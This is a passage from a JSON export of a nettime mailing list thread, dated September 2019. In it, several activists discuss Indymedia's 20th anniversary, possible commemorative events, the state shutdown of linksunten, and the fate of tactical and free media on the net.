info: http://mx.kein.org/mailman/listinfo/nettime-l\n>> #  archive: http://www.nettime.org contact: nettime@kein.org\n>> #  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n> #  distributed via <nettime>: no commercial use without permission\n> #  <nettime>  is a moderated mailing list for net criticism,\n> #  collaborative text filtering and cultural politics of the nets\n> #  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n> #  archive: http://www.nettime.org contact: nettime@kein.org\n> #  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n>\n>\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                                "id": "00051",
                                "date": "Wed, 11 Sep 2019 22:07:48 +0200",
                                "to": "\"nettime-l@mail.kein.org\" <nettime-l@mail.kein.org>",
                                "message-id": "e57376de&#45;eed7&#45;c87b&#45;6434&#45;f039d6c4f9ea@mailbox.or",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1909/msg00051.html",
                                "content-type": "text/plai",
                                "author_name": "podinski",
                                "subject": "Re: <nettime> 20 years of Indymedia: Where are we now ?!"
                            }
                        ],
                        "from": "podinski <podinski@mailbox.org>",
                        "content": "\n  \n  \n    Hi Ingrid et al,\n    \n    \n    hmm, a little shocked that so few want to discuss the indymedia\n    platform topic... and what it means for today's struggles... \n    but na ja, so it goes in the web flood of efficiently cubicled\n    (un-)solidarities... \n    \n    \n    On 9/7/19 10:05 AM, Hoofd, I.M.\n      (Ingrid) wrote:\n    \n    \n      \n      \n      \n        Hello ex-((i)) and ex-N5M3 folks,\n      \n        \n      \n      \n        Just like to point out that\n\nhttps://www.indymedia.nl/\n\nis\n        still very much alive! I haven't been involved for many years\n        now, but perhaps we could do something in Amsterdam, or barring\n        that something in Berlin together with the Dutch ((i)) folks?\n        I'd be happy to be involved somehow too!\n    \n    sorry for slow reply... \n    things have been a little overloaded... \n    \n    good to hear that NL ((i)) is still kicking... i believe there are\n    several still out there providing useful public channels ( as\n    mentioned in the article, ie. Argentina ) !\n    \n    Not quite sure how to proceed with any concrete event plans for\n    Nov.... or beyond. \n    but happy to hear that there are some comrades out there who want to\n    be involved...\n    \n    Should be a topic at Transmediale 2019 \"e2e\" network theme...\n    https://2020.transmediale.de/festival-2020\n    \n    but one always has to wonder just how far out of touch the\n    arts+cult+showtime sectors are with pragmatic activism + praxis ...\n    i will check in to see, if not already too late. \n    \n    my cynical 2cent bits for the day...\n    \n    podinski\n    \n    \n\n\n    \n    \n    \n    \n    \n    \n\n\n    \n      \n        \n      \n      \n        Cheers, Ingrid.\n      \n        \n      \n      \n        \n          \n        \n        \n        From:\n            nettime-l-bounces@mail.kein.org\n            <nettime-l-bounces@mail.kein.org> on behalf of\n            podinski <podinski@mailbox.org>\n            Sent: 06 September 2019 15:42\n            To: nettime-l@mail.kein.org\n            <nettime-l@mail.kein.org>\n            Subject: <nettime> 20 years of Indymedia: Where\n            are we now ?!\n          \n\n\n        \n        \n              hello N-time, \n                \n                This November INDYMEDIA \u2013 (( i )) \u2013 will be 20 years old\n                !!\n                \n                April Glaser writes a good short history of the\n                pioneering\n                network/platform/newsfeed \u2026 for Logic Magazine ( here ).\n                But there\u2019s\n                probably many more things that need to be analyzed in\n                the history of the\n                Internet and digital culture to understand and assess\n                whether \u201cAnother\n                Network Is Possible\u201c\u2026 and where + how tactical media can\n                unite\n                communities tomorrow\u2026\n                \n                https://logicmag.io/bodies/another-network-is-possible/\n                \n                ...\n                \n                XLterrestrials are working on an expanded post about ALL\n                that\u2026\n                \n                http://xlterrestrials.org/plog/?p=19424\n                \n                excerpt from Part 1: Where are we now ?\n                \n                >\n                \n                ( that haunting + sad final-years-Bowie tune is playing\n                back in our\n                heads as we write\u2026 )\n                \n                This is an extremely complicated discussion, and it will\n                take more than\n                a short essay to sort through all the angles and\n                dilemmas we find\n                ourselves soaking in with the cybernetic technodystopias\n                +\n                technospherical spectrum +/or rectal probes of the\n                military/corporate\n                communication industries, now oozing ubiquitous through\n                all the tissues\n                and orifices of human + social organization like\n                electro-shock +\n                doctrines + disruption therapies to cure our inherited\n                already-anthropocene-driven madness\u2026 by accelerating it\n                \u2026 like: Here\n                take this, it\u2019s another anthropo-scenic downloading\n                spiral into\n                Stephen-Pinker-esque \"tech-n-progress\u201d Inc.\n                \n                >\n                \n                ...\n                \n                On a tangent note, it would be nice to put on some\n                Indy-inspired type\n                tactical media event...\n                \n                perhaps in the Btropolis ( Berlin ) for this anniversary\n                date...\n                \n                Any ((i)) and N5Minutes veterans wanna play with us on\n                that ? get in touch !\n                \n                There is already something planned in Houston hosted by\n                IMC folks there\n                ( at Rice U. ?) ...\n                \n                but nothing in the EU territories yet, as far as we\n                know... and WHY\n                Btropolis?\n                \n                One of its IMC sites is still active,\n                \n                and its more radical sibling offshoot, got the crackdown\n                + kicked off\n                the webz 2 years ago. ( Linksunten )...\n                \n                And there's been heated discussions here about WHAT'S\n                NEXT !!\n                \n                ...\n                \n                liebegreetz !\n                \n                podinski\n                \n                \n                0~~~~O-----o\n                www.xlterrestrials.org/plog\n                \u2028\n                \n\narts + praxis organisms\n                o-----O~~~~~0\n                \n                \n                \n                \n                \n                #\n\n distributed via <nettime>: no commercial use\n                without permission\n                #\n\n <nettime>\n\n is a moderated mailing list for net\n                criticism,\n                #\n\n collaborative text filtering and cultural politics of\n                the nets\n                #\n\n more info: http://mx.kein.org/mailman/listinfo/nettime-l\n                #\n\n archive: http://www.nettime.org\n                contact: nettime@kein.org\n                #\n\n @nettime_bot tweets mail w/ sender unless #ANON is in\n                Subject:\n            \n      \n    \n    \n  \n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                        "id": "00048",
                        "date": "Tue, 10 Sep 2019 13:19:58 +0200",
                        "to": "\"nettime-l@mail.kein.org\" <nettime-l@mail.kein.org>, \"Hoofd, I.M. (Ingrid)\" <I.M.Hoofd@uu.nl>",
                        "message-id": "c8775943&#45;36f7&#45;2d7f&#45;180b&#45;ce248ab0ee2b@mailbox.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1909/msg00048.html",
                        "content-type": "multipart/mixed",
                        "author_name": "podinski",
                        "subject": "Re: <nettime> 20 years of Indymedia: Where are we now ?!"
                    },
                    {
                        "from": "tacira@riseup.net",
                        "content": "hi pod! long time no see, hi ingrid, tatiana from abya yala :)\n\nas for a long time user and educator on free technologies for creative\nmedia production I was a bit skeptical on the article -  we dont need to\ncreate one more leftist tool, but re-ocuppy with purpose and love all\ncollective maintained tools - perhaps more influenced by intersectional\npoltics (I am reading Ocalan :) but the networkS are alive, dormant\nbecause NOT dispersed and very much re-creating itself all the time.\nfree philosophy and ethics becomes just more urgent then ever! As Krenak\nan indigenous leader in brazil says we have been using \"colored\nparachutes\" in this fall \"being able to maintain our subjectivities, our\nvisions, our poetics about existence\". \n\nwe are in shock with the fire but its from the ashes that we create! \n\nhere a recent ongoing work from the brazilian cyberfeminists\nhttps://midiatatica.desarquivo.org/ tactical archives from the last\ndecade by collective perspectives. \n\nbest for all!\nt\n\n\nEm 2019-09-10 08:19, podinski escreveu:\n> Hi Ingrid et al, \n> \n>  hmm, a little shocked that so few want to discuss the indymedia\n> platform topic... and what it means for today's struggles... \n> but na ja, so it goes in the web flood of efficiently cubicled\n> (un-)solidarities... \n> \n> On 9/7/19 10:05 AM, Hoofd, I.M. (Ingrid) wrote:\n> \n>> Hello ex-((i)) and ex-N5M3 folks,\n>>\n>> Just like to point out that https://www.indymedia.nl/ is still very\n>> much alive! I haven't been involved for many years now, but perhaps\n>> we could do something in Amsterdam, or barring that something in\n>> Berlin together with the Dutch ((i)) folks? I'd be happy to be\n>> involved somehow too!\n>  sorry for slow reply... \n> things have been a little overloaded... \n> \n> good to hear that NL ((i)) is still kicking... i believe there are\n> several still out there providing useful public channels ( as\n> mentioned in the article, ie. Argentina ) !\n> \n> Not quite sure how to proceed with any concrete event plans for\n> Nov.... or beyond. \n> but happy to hear that there are some comrades out there who want to\n> be involved...\n> \n> Should be a topic at Transmediale 2019 \"e2e\" network theme...\n> https://2020.transmediale.de/festival-2020\n> \n> but one always has to wonder just how far out of touch the\n> arts+cult+showtime sectors are with pragmatic activism + praxis ...\n> i will check in to see, if not already too late. \n> \n> my cynical 2cent bits for the day...\n> \n> podinski\n> \n>> Cheers, Ingrid.\n>>\n>> -------------------------\n>>\n>> From: nettime-l-bounces@mail.kein.org\n>> <nettime-l-bounces@mail.kein.org> on behalf of podinski\n>> <podinski@mailbox.org>\n>> Sent: 06 September 2019 15:42\n>> To: nettime-l@mail.kein.org <nettime-l@mail.kein.org>\n>> Subject: <nettime> 20 years of Indymedia: Where are we now ?!\n>>\n>> hello N-time,\n>>\n>> This November INDYMEDIA \u2013 (( i )) \u2013 will be 20 years old !!\n>>\n>> April Glaser writes a good short history of the pioneering\n>> network/platform/newsfeed \u2026 for Logic Magazine ( here ). But\n>> there\u2019s\n>> probably many more things that need to be analyzed in the history of\n>> the\n>> Internet and digital culture to understand and assess whether\n>> \u201cAnother\n>> Network Is Possible\u201c\u2026 and where + how tactical media can unite\n>> communities tomorrow\u2026\n>>\n>> https://logicmag.io/bodies/another-network-is-possible/\n>>\n>> ...\n>>\n>> XLterrestrials are working on an expanded post about ALL that\u2026\n>>\n>> http://xlterrestrials.org/plog/?p=19424\n>>\n>> excerpt from Part 1: Where are we now ?\n>>\n>>>\n>>\n>> ( that haunting + sad final-years-Bowie tune is playing back in our\n>> heads as we write\u2026 )\n>>\n>> This is an extremely complicated discussion, and it will take more\n>> than\n>> a short essay to sort through all the angles and dilemmas we find\n>> ourselves soaking in with the cybernetic technodystopias +\n>> technospherical spectrum +/or rectal probes of the\n>> military/corporate\n>> communication industries, now oozing ubiquitous through all the\n>> tissues\n>> and orifices of human + social organization like electro-shock +\n>> doctrines + disruption therapies to cure our inherited\n>> already-anthropocene-driven madness\u2026 by accelerating it \u2026 like:\n>> Here\n>> take this, it\u2019s another anthropo-scenic downloading spiral into\n>> Stephen-Pinker-esque \"tech-n-progress\u201d Inc.\n>>\n>>>\n>>\n>> ...\n>>\n>> On a tangent note, it would be nice to put on some Indy-inspired\n>> type\n>> tactical media event...\n>>\n>> perhaps in the Btropolis ( Berlin ) for this anniversary date...\n>>\n>> Any ((i)) and N5Minutes veterans wanna play with us on that ? get in\n>> touch !\n>>\n>> There is already something planned in Houston hosted by IMC folks\n>> there\n>> ( at Rice U. ?) ...\n>>\n>> but nothing in the EU territories yet, as far as we know... and WHY\n>> Btropolis?\n>>\n>> One of its IMC sites is still active,\n>>\n>> and its more radical sibling offshoot, got the crackdown + kicked\n>> off\n>> the webz 2 years ago. ( Linksunten )...\n>>\n>> And there's been heated discussions here about WHAT'S NEXT !!\n>>\n>> ...\n>>\n>> liebegreetz !\n>>\n>> podinski\n>>\n>> 0~~~~O-----o\n>> www.xlterrestrials.org/plog [1] \u2028\n>> arts + praxis organisms\n>> o-----O~~~~~0\n>>\n>> #  distributed via <nettime>: no commercial use without permission\n>> #  <nettime>  is a moderated mailing list for net criticism,\n>> #  collaborative text filtering and cultural politics of the nets\n>> #  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n>> #  archive: http://www.nettime.org contact: nettime@kein.org\n>> #  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n> \n>  \n> \n> Links:\n> ------\n> [1] http://www.xlterrestrials.org/plog\n> #  distributed via <nettime>: no commercial use without permission\n> #  <nettime>  is a moderated mailing list for net criticism,\n> #  collaborative text filtering and cultural politics of the nets\n> #  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n> #  archive: http://www.nettime.org contact: nettime@kein.org\n> #  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                        "id": "00049",
                        "date": "Wed, 11 Sep 2019 05:38:06 -0700",
                        "to": "podinski <podinski@mailbox.org>",
                        "message-id": "dd040be8c1c3fa9b3d539f1881a529fa@riseup.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1909/msg00049.html",
                        "content-type": "text/plai",
                        "author_name": "tacira",
                        "subject": "Re: <nettime> 20 years of Indymedia: Where are we now ?!"
                    },
                    {
                        "from": "podinski <podinski@mailbox.org>",
                        "content": "Hi Tati et al,\n\na pleasure to read some news from ya...\n\n+ thx for the link !\n\n...\n\nOn 9/11/19 2:38 PM, tacira@riseup.net wrote:\n> hi pod! long time no see, hi ingrid, tatiana from abya yala :)\n>\n> as for a long time user and educator on free technologies for creative\n> media production I was a bit skeptical on the article -  we dont need to\n> create one more leftist tool, but re-ocuppy with purpose and love all\n> collective maintained tools - perhaps more influenced by intersectional\n> poltics (I am reading Ocalan :) but the networkS are alive, dormant\n> because NOT dispersed and very much re-creating itself all the time.\n> free philosophy and ethics becomes just more urgent then ever! As Krenak\n> an indigenous leader in brazil says we have been using \"colored\n> parachutes\" in this fall \"being able to maintain our subjectivities, our\n> visions, our poetics about existence\". \nyes, well it is not hard for me to be critical about More leftist tools...\nwe are getting very lost - and abused - in all the tooling around.\n\nAnd i think the article may point out clearly towards HOW we lost one\npossible road that the net could have taken to network our communities,\nsolidarities and resistance... \n\nI probably dont need to go into the details here of how that all got\nco-opted and used in the creepiest of ways to consolidate power and turn\nus all into its subjects and products.  ( Neo-liberal + libertarian\nnetz, surveillance krapitalism and all that mess )\n\nIF the net can be reclaimed at all from the monstrous sprawl of\nill-intents...\nit would probably require new architectures that cannot be easily\nswallowed up by the Titans' toxic web.\n\nAs Rasmus Fleischer pointedly remarked at one of the recent\nTransmediales : this is what a failed rev looks like.\n\nI don't have any clear proposals for that, but that could be part of\nwhat would make sense with this ((i)) anniversary...\nto understand what we lost, and how we got where we are... and what\nrecourse makes sense now...\n\n...\n\nFrom an XLterrestrial perspective, it might be an important tactical\nmaneuver to get our feet back on the ground, locally...  and \"shield\nourselves\" from the fallout of having \"lost the digital revolution\" ...\nand get more focused on our biological + ecological struggles.\n\n...\n\nXLt is perhaps far more optimistic about what we can achieve by learning\nfrom the cultures of resistance in the global south... and outside all\nthe tech hype !\nAnd not allowing the domination of tech environments to be our\nsurrogated means to imagining any new re-occupying strategies.\n\n...\n\nJust read yesterday an interesting story about Food Sovereignty and in\n2011 Russia... 40% of the food came from Dacha gardens... \n\n\"dacha gardens produced over 80% of the countries fruit and berries,\nover 66% of the vegetables, almost 80% of the potatoes and nearly 50% of\nthe nations milk, much of it consumed raw. \"\n\nhttp://naturalhomes.org/naturalliving/russian-dacha.htm?fbclid=IwAR1ia40bjy-j6-1H8DnGejakGBeg0Gn1VqED6sjk5A6sN8KOGg35hyn7pkE\n\nhavent checked out the accuracy of this, but the shift in topics +\norganizational objectives...  seems very revelant !\n\n...\n\nJust last year Chaos Congress teamed up with FifF and others to put on a\nconference called Bits Und Baume ( and trees ) to finally take seriously\nthe ecological consequences of the poorly miscalculated unsustainability\nof all our endlessly expanding high tech cultures.\n\nIt only took 35 years for CCC to get around to this crucial topic... ;)\n... but i think some good things are coming together for further\ninvestigations into realistic terrestrial-based missions ... and less in\n\"hackers on the moon\".\n\nhttps://bits-und-baeume.org/en\n\n...\n\nLastly,\nto emphasize my points...\n\ni leave you all with this talk from Boaventura de Sousa Santos ...\nat HKW's Now is The Time Of Monsters : What comes after Nations... in\n2017...\n\n( which followed a talk from Felix Stadler on Protocols - and tech - for\nDemocracy? )\n\nAnd it might be a useful reminder to help put things into proper\nperspective and more productive debates...\nand more paying attention to what we don't necessarily see on our (Euro)\nscreens...\n\nthings that are working ... outside those corporate, futurist +\nindustrial hives !\n\nStaatstechnologien - Democracy | Boaventura de Sousa Santos\nhttps://www.hkw.de/de/app/mediathek/video/55789\n\n\"converting ruins into seeds\"\n\nand i love the last line...\n\n\"i want us to be competent rebels !\"\n\npodinski\n\n\n\n\n\n \n\n\n\n\n   \n\n\n>\n> we are in shock with the fire but its from the ashes that we create! \n>\n> here a recent ongoing work from the brazilian cyberfeminists\n> https://midiatatica.desarquivo.org/ tactical archives from the last\n> decade by collective perspectives. \n>\n> best for all!\n> t\n>\n>\n> Em 2019-09-10 08:19, podinski escreveu:\n>> Hi Ingrid et al, \n>>\n>>  hmm, a little shocked that so few want to discuss the indymedia\n>> platform topic... and what it means for today's struggles... \n>> but na ja, so it goes in the web flood of efficiently cubicled\n>> (un-)solidarities... \n>>\n>> On 9/7/19 10:05 AM, Hoofd, I.M. (Ingrid) wrote:\n>>\n>>> Hello ex-((i)) and ex-N5M3 folks,\n>>>\n>>> Just like to point out that https://www.indymedia.nl/ is still very\n>>> much alive! I haven't been involved for many years now, but perhaps\n>>> we could do something in Amsterdam, or barring that something in\n>>> Berlin together with the Dutch ((i)) folks? I'd be happy to be\n>>> involved somehow too!\n>>  sorry for slow reply... \n>> things have been a little overloaded... \n>>\n>> good to hear that NL ((i)) is still kicking... i believe there are\n>> several still out there providing useful public channels ( as\n>> mentioned in the article, ie. Argentina ) !\n>>\n>> Not quite sure how to proceed with any concrete event plans for\n>> Nov.... or beyond. \n>> but happy to hear that there are some comrades out there who want to\n>> be involved...\n>>\n>> Should be a topic at Transmediale 2019 \"e2e\" network theme...\n>> https://2020.transmediale.de/festival-2020\n>>\n>> but one always has to wonder just how far out of touch the\n>> arts+cult+showtime sectors are with pragmatic activism + praxis ...\n>> i will check in to see, if not already too late. \n>>\n>> my cynical 2cent bits for the day...\n>>\n>> podinski\n>>\n>>> Cheers, Ingrid.\n>>>\n>>> -------------------------\n>>>\n>>> From: nettime-l-bounces@mail.kein.org\n>>> <nettime-l-bounces@mail.kein.org> on behalf of podinski\n>>> <podinski@mailbox.org>\n>>> Sent: 06 September 2019 15:42\n>>> To: nettime-l@mail.kein.org <nettime-l@mail.kein.org>\n>>> Subject: <nettime> 20 years of Indymedia: Where are we now ?!\n>>>\n>>> hello N-time,\n>>>\n>>> This November INDYMEDIA \u2013 (( i )) \u2013 will be 20 years old !!\n>>>\n>>> April Glaser writes a good short history of the pioneering\n>>> network/platform/newsfeed \u2026 for Logic Magazine ( here ). But\n>>> there\u2019s\n>>> probably many more things that need to be analyzed in the history of\n>>> the\n>>> Internet and digital culture to understand and assess whether\n>>> \u201cAnother\n>>> Network Is Possible\u201c\u2026 and where + how tactical media can unite\n>>> communities tomorrow\u2026\n>>>\n>>> https://logicmag.io/bodies/another-network-is-possible/\n>>>\n>>> ...\n>>>\n>>> XLterrestrials are working on an expanded post about ALL that\u2026\n>>>\n>>> http://xlterrestrials.org/plog/?p=19424\n>>>\n>>> excerpt from Part 1: Where are we now ?\n>>>\n>>> ( that haunting + sad final-years-Bowie tune is playing back in our\n>>> heads as we write\u2026 )\n>>>\n>>> This is an extremely complicated discussion, and it will take more\n>>> than\n>>> a short essay to sort through all the angles and dilemmas we find\n>>> ourselves soaking in with the cybernetic technodystopias +\n>>> technospherical spectrum +/or rectal probes of the\n>>> military/corporate\n>>> communication industries, now oozing ubiquitous through all the\n>>> tissues\n>>> and orifices of human + social organization like electro-shock +\n>>> doctrines + disruption therapies to cure our inherited\n>>> already-anthropocene-driven madness\u2026 by accelerating it \u2026 like:\n>>> Here\n>>> take this, it\u2019s another anthropo-scenic downloading spiral into\n>>> Stephen-Pinker-esque \"tech-n-progress\u201d Inc.\n>>>\n>>> ...\n>>>\n>>> On a tangent note, it would be nice to put on some Indy-inspired\n>>> type\n>>> tactical media event...\n>>>\n>>> perhaps in the Btropolis ( Berlin ) for this anniversary date...\n>>>\n>>> Any ((i)) and N5Minutes veterans wanna play with us on that ? get in\n>>> touch !\n>>>\n>>> There is already something planned in Houston hosted by IMC folks\n>>> there\n>>> ( at Rice U. ?) ...\n>>>\n>>> but nothing in the EU territories yet, as far as we know... and WHY\n>>> Btropolis?\n>>>\n>>> One of its IMC sites is still active,\n>>>\n>>> and its more radical sibling offshoot, got the crackdown + kicked\n>>> off\n>>> the webz 2 years ago. ( Linksunten )...\n>>>\n>>> And there's been heated discussions here about WHAT'S NEXT !!\n>>>\n>>> ...\n>>>\n>>> liebegreetz !\n>>>\n>>> podinski\n>>>\n>>> 0~~~~O-----o\n>>> www.xlterrestrials.org/plog [1] \u2028\n>>> arts + praxis organisms\n>>> o-----O~~~~~0\n>>>\n>>> #  distributed via <nettime>: no commercial use without permission\n>>> #  <nettime>  is a moderated mailing list for net criticism,\n>>> #  collaborative text filtering and cultural politics of the nets\n>>> #  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n>>> #  archive: http://www.nettime.org contact: nettime@kein.org\n>>> #  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n>>  \n>>\n>> Links:\n>> ------\n>> [1] http://www.xlterrestrials.org/plog\n>> #  distributed via <nettime>: no commercial use without permission\n>> #  <nettime>  is a moderated mailing list for net criticism,\n>> #  collaborative text filtering and cultural politics of the nets\n>> #  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n>> #  archive: http://www.nettime.org contact: nettime@kein.org\n>> #  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                        "id": "00050",
                        "date": "Wed, 11 Sep 2019 19:40:15 +0200",
                        "to": "\"nettime-l@mail.kein.org\" <nettime-l@mail.kein.org>",
                        "message-id": "04c850bf&#45;988b&#45;7a06&#45;ea4f&#45;bed0c7dc9af8@mailbox.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1909/msg00050.html",
                        "content-type": "text/plai",
                        "author_name": "podinski",
                        "subject": "Re: <nettime> 20 years of Indymedia: Where are we now ?!"
                    },
                    {
                        "from": "podinski <podinski@mailbox.org>",
                        "content": "Hi Matze,\n\ni tried recently to follow and catch-up on the debacle of linksunten and\nstate censorship...\nand picked up the pamphlet :\nverboten ! zur Kriminalisierung von Indymedia linksunten\nvia Rote Hilfe e.v.\n\nbut havent yet had time to get thru it.\n\n...\n\nre: the issue of the liberated webs and copy left...\ni have begun to think that another unexpected + massive fallout has\noccurred with all this online free content falling into... the Titan\ngrip...\n\nand in the idealism of trying to \" common-ize\" and/or \"dismantle\ncapitalism\" on the net, but not in the AFK world... as the majority of\nus still live in the realms of landlord strangleholds...\n \nprotection of labor and the livelihoods of content producers and indy\npublishers + DIY distro merchants was not very well considered... in the\neco-systems of books, media, data, small business and shop owners... \nand people's having to make their money to survive... pay rent.... or\nrecoup their production budgets ( see Astra Taylor's The People's\nPlatform )...\n\nCopyright is a completely re-openable subject... of hot debate....\n\nwhich HKW is also being revisited again this year ( 100 Years Of\nCopyright and Part 2 : Right the Right...  this Nov. )\n... but i am not so hopeful they will handle the topic radically enough,\nbecause in the end they are already looking for tech solutionism to fill\nin the grim situations... ie blockchain in the music industry ?\n\nbut no time to get very sophisticated in that beastly and tedious topic.\n\n...\n\ncheers,\np.\n\n\n  \nOn 9/10/19 5:40 PM, Matze Schmidt wrote:\n> One more:\n>\n> Sebastian Luetgert in an interview mit textz.com (in German): \n> https://de.indymedia.org/2004/03/76975.shtml\n>\n> Am 10.09.2019 um 16:12 schrieb Matze Schmidt <matzeschmidt@matzeschmidt.de>:\n>\n> Hi,\n>\n> I remember when topics died. Esp. when Sebasian Luetgert 10?, 15? years ago was about sceptical talking about indymedia some years after the beginning of this platform. The radical pragmatists in Berlin sat there with a shrug.\n>\n> What's more important now is a struggle by a left against a state as a censor amidst the general new swing to the right, see here in German:\n>\n> https://twitter.com/zineworkshop/status/1161884759364198400?s=20\n>\n> Matze\n>\n> Am 10.09.2019 um 13:19 schrieb podinski <podinski@mailbox.org>:\n>\n> Hi Ingrid et al,\n>\n> hmm, a little shocked that so few want to discuss the indymedia platform topic... and what it means for today's struggles... \n> but na ja, so it goes in the web flood of efficiently cubicled (un-)solidarities... \n>\n>\n> On 9/7/19 10:05 AM, Hoofd, I.M. (Ingrid) wrote:\n>> Hello ex-((i)) and ex-N5M3 folks,\n>>\n>> Just like to point out that https://www.indymedia.nl/ is still very much alive! I haven't been involved for many years now, but perhaps we could do something in Amsterdam, or barring that something in Berlin together with the Dutch ((i)) folks? I'd be happy to be involved somehow too!\n> sorry for slow reply... \n> things have been a little overloaded... \n>\n> good to hear that NL ((i)) is still kicking... i believe there are several still out there providing useful public channels ( as mentioned in the article, ie. Argentina ) !\n>\n> Not quite sure how to proceed with any concrete event plans for Nov.... or beyond. \n> but happy to hear that there are some comrades out there who want to be involved...\n>\n> Should be a topic at Transmediale 2019 \"e2e\" network theme...\n> https://2020.transmediale.de/festival-2020\n>\n> but one always has to wonder just how far out of touch the arts+cult+showtime sectors are with pragmatic activism + praxis ...\n> i will check in to see, if not already too late. \n>\n> my cynical 2cent bits for the day...\n>\n> podinski\n>\n>\n>\n>\n>\n>\n>\n>\n>> Cheers, Ingrid.\n>>\n>>\n>> From: nettime-l-bounces@mail.kein.org <nettime-l-bounces@mail.kein.org> on behalf of podinski <podinski@mailbox.org>\n>> Sent: 06 September 2019 15:42\n>> To: nettime-l@mail.kein.org <nettime-l@mail.kein.org>\n>> Subject: <nettime> 20 years of Indymedia: Where are we now ?!\n>>\n>> hello N-time, \n>>\n>> This November INDYMEDIA \u2013 (( i )) \u2013 will be 20 years old !!\n>>\n>> April Glaser writes a good short history of the pioneering\n>> network/platform/newsfeed \u2026 for Logic Magazine ( here ). But there\u2019s\n>> probably many more things that need to be analyzed in the history of the\n>> Internet and digital culture to understand and assess whether \u201cAnother\n>> Network Is Possible\u201c\u2026 and where + how tactical media can unite\n>> communities tomorrow\u2026\n>>\n>> https://logicmag.io/bodies/another-network-is-possible/\n>>\n>> ...\n>>\n>> XLterrestrials are working on an expanded post about ALL that\u2026\n>>\n>> http://xlterrestrials.org/plog/?p=19424\n>>\n>> excerpt from Part 1: Where are we now ?\n>>\n>> ( that haunting + sad final-years-Bowie tune is playing back in our\n>> heads as we write\u2026 )\n>>\n>> This is an extremely complicated discussion, and it will take more than\n>> a short essay to sort through all the angles and dilemmas we find\n>> ourselves soaking in with the cybernetic technodystopias +\n>> technospherical spectrum +/or rectal probes of the military/corporate\n>> communication industries, now oozing ubiquitous through all the tissues\n>> and orifices of human + social organization like electro-shock +\n>> doctrines + disruption therapies to cure our inherited\n>> already-anthropocene-driven madness\u2026 by accelerating it \u2026 like: Here\n>> take this, it\u2019s another anthropo-scenic downloading spiral into\n>> Stephen-Pinker-esque \"tech-n-progress\u201d Inc.\n>>\n>> ...\n>>\n>> On a tangent note, it would be nice to put on some Indy-inspired type\n>> tactical media event...\n>>\n>> perhaps in the Btropolis ( Berlin ) for this anniversary date...\n>>\n>> Any ((i)) and N5Minutes veterans wanna play with us on that ? get in touch !\n>>\n>> There is already something planned in Houston hosted by IMC folks there\n>> ( at Rice U. ?) ...\n>>\n>> but nothing in the EU territories yet, as far as we know... and WHY\n>> Btropolis?\n>>\n>> One of its IMC sites is still active,\n>>\n>> and its more radical sibling offshoot, got the crackdown + kicked off\n>> the webz 2 years ago. ( Linksunten )...\n>>\n>> And there's been heated discussions here about WHAT'S NEXT !!\n>>\n>> ...\n>>\n>> liebegreetz !\n>>\n>> podinski\n>>\n>>\n>> 0~~~~O-----o\n>> www.xlterrestrials.org/plog \n>>\n>> arts + praxis organisms\n>> o-----O~~~~~0\n>>\n>>\n>>\n>>\n>>\n>> #  distributed via <nettime>: no commercial use without permission\n>> #  <nettime>  is a moderated mailing list for net criticism,\n>> #  collaborative text filtering and cultural politics of the nets\n>> #  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n>> #  archive: http://www.nettime.org contact: nettime@kein.org\n>> #  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n> #  distributed via <nettime>: no commercial use without permission\n> #  <nettime>  is a moderated mailing list for net criticism,\n> #  collaborative text filtering and cultural politics of the nets\n> #  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n> #  archive: http://www.nettime.org contact: nettime@kein.org\n> #  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n>\n>\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                        "id": "00051",
                        "date": "Wed, 11 Sep 2019 22:07:48 +0200",
                        "to": "\"nettime-l@mail.kein.org\" <nettime-l@mail.kein.org>",
                        "message-id": "e57376de&#45;eed7&#45;c87b&#45;6434&#45;f039d6c4f9ea@mailbox.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1909/msg00051.html",
                        "content-type": "text/plai",
                        "author_name": "podinski",
                        "subject": "Re: <nettime> 20 years of Indymedia: Where are we now ?!"
                    }
                ],
